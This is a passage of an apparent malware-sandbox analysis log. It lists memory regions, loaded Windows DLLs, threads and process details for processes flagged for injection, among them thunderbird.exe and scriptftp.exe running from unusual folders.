mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4203 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4204 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4205 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4206 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4207 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4208 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4209 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4210 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4211 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4212 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4213 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4214 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4215 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4216 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4217 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4218 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4219 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4220 start_va = 0x7f150000 end_va = 0x7f24ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f150000" filename = "" Region: id = 4221 start_va = 0x7f250000 end_va = 0x7f272fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f250000" filename = "" Region: id = 4222 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4223 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4224 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4225 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4390 start_va = 0x500000 end_va = 0x503fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 4391 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 4392 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4393 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4394 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 4395 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 4396 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5948 start_va = 0x530000 end_va = 0x530fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 5949 start_va = 0x660000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 5950 start_va = 0xc50000 end_va = 0xf86fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 217 os_tid = 0xf34 Thread: id = 218 os_tid = 0xf18 Thread: id = 369 os_tid = 0x474 Process: id = "38" image_name = "thunderbird.exe" filename = "c:\\program files\\common files\\thunderbird.exe" page_root = "0x5a58c000" os_pid = "0xf28" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Common Files\\thunderbird.exe\" " cur_dir = "C:\\Program Files\\Common Files\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4075 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4076 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4077 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4078 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4079 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4080 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4081 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4082 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4083 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4084 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4085 start_va = 0x230000 end_va = 0x246fff monitored = 0 entry_point = 0x2314a1 region_type = mapped_file name = "thunderbird.exe" filename = "\\Program Files\\Common Files\\thunderbird.exe" (normalized: "c:\\program files\\common files\\thunderbird.exe") Region: id = 4086 start_va = 0x250000 end_va = 0x30dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4087 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4088 start_va = 0x700000 end_va = 0x703fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 4089 start_va = 0x710000 end_va = 0x7cbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 4090 start_va = 0x7d0000 end_va = 0x7d3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 4091 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 4092 start_va = 0x840000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 4093 start_va = 0x940000 end_va = 0xac7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000940000" filename = "" Region: id = 4094 start_va = 0xad0000 end_va = 0xc50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 4095 start_va = 0xc60000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c60000" filename = "" Region: id = 4096 start_va = 0x21b0000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 4097 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4098 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4099 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4100 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4101 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4102 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4103 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4104 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4105 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4106 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4107 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4108 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4109 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4110 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4111 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4112 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4113 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4114 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4115 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4116 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4117 start_va = 0x7f870000 end_va = 0x7f96ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f870000" filename = "" Region: id = 4118 start_va = 0x7f970000 end_va = 0x7f992fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f970000" filename = "" Region: id = 4119 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4120 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4121 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4122 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4123 start_va = 0x7e0000 end_va = 0x7e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 4124 start_va = 0x7f0000 end_va = 0x7f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 4125 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4126 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4127 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 4128 start_va = 0x800000 end_va = 0x800fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 4129 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5951 start_va = 0x810000 end_va = 0x810fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 5952 start_va = 0x2060000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 5953 start_va = 0x21c0000 end_va = 0x24f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 219 os_tid = 0xf38 Thread: id = 220 os_tid = 0xf2c Thread: id = 366 os_tid = 0xd30 Process: id = "39" image_name = "scriptftp.exe" filename = "c:\\program files (x86)\\microsoft office\\scriptftp.exe" page_root = "0x5a94e000" os_pid = "0xf0c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Office\\scriptftp.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft Office\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4226 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4227 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4228 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4229 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4230 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4231 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4232 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4233 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4234 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4235 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4236 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4237 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 4238 start_va = 0x630000 end_va = 0x7b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 4239 start_va = 0x8d0000 end_va = 0x8d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4240 start_va = 0x8e0000 end_va = 0x99bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 4241 start_va = 0x9a0000 end_va = 0x9a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 4242 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 4243 start_va = 0xa40000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 4244 start_va = 0xb40000 end_va = 0xcc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b40000" filename = "" Region: id = 4245 start_va = 0xeb0000 end_va = 0xebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 4246 start_va = 0x1230000 end_va = 0x1246fff monitored = 0 entry_point = 0x12314a1 region_type = mapped_file name = "scriptftp.exe" filename = "\\Program Files (x86)\\Microsoft Office\\scriptftp.exe" (normalized: "c:\\program files (x86)\\microsoft office\\scriptftp.exe") Region: id = 4247 start_va = 0x1250000 end_va = 0x264ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001250000" filename = "" Region: id = 4248 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4249 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4250 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4251 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4252 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4253 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4254 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4255 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4256 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4257 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4258 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4259 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4260 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4261 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4262 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4263 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4264 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4265 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4266 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4267 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4268 start_va = 0x7edd0000 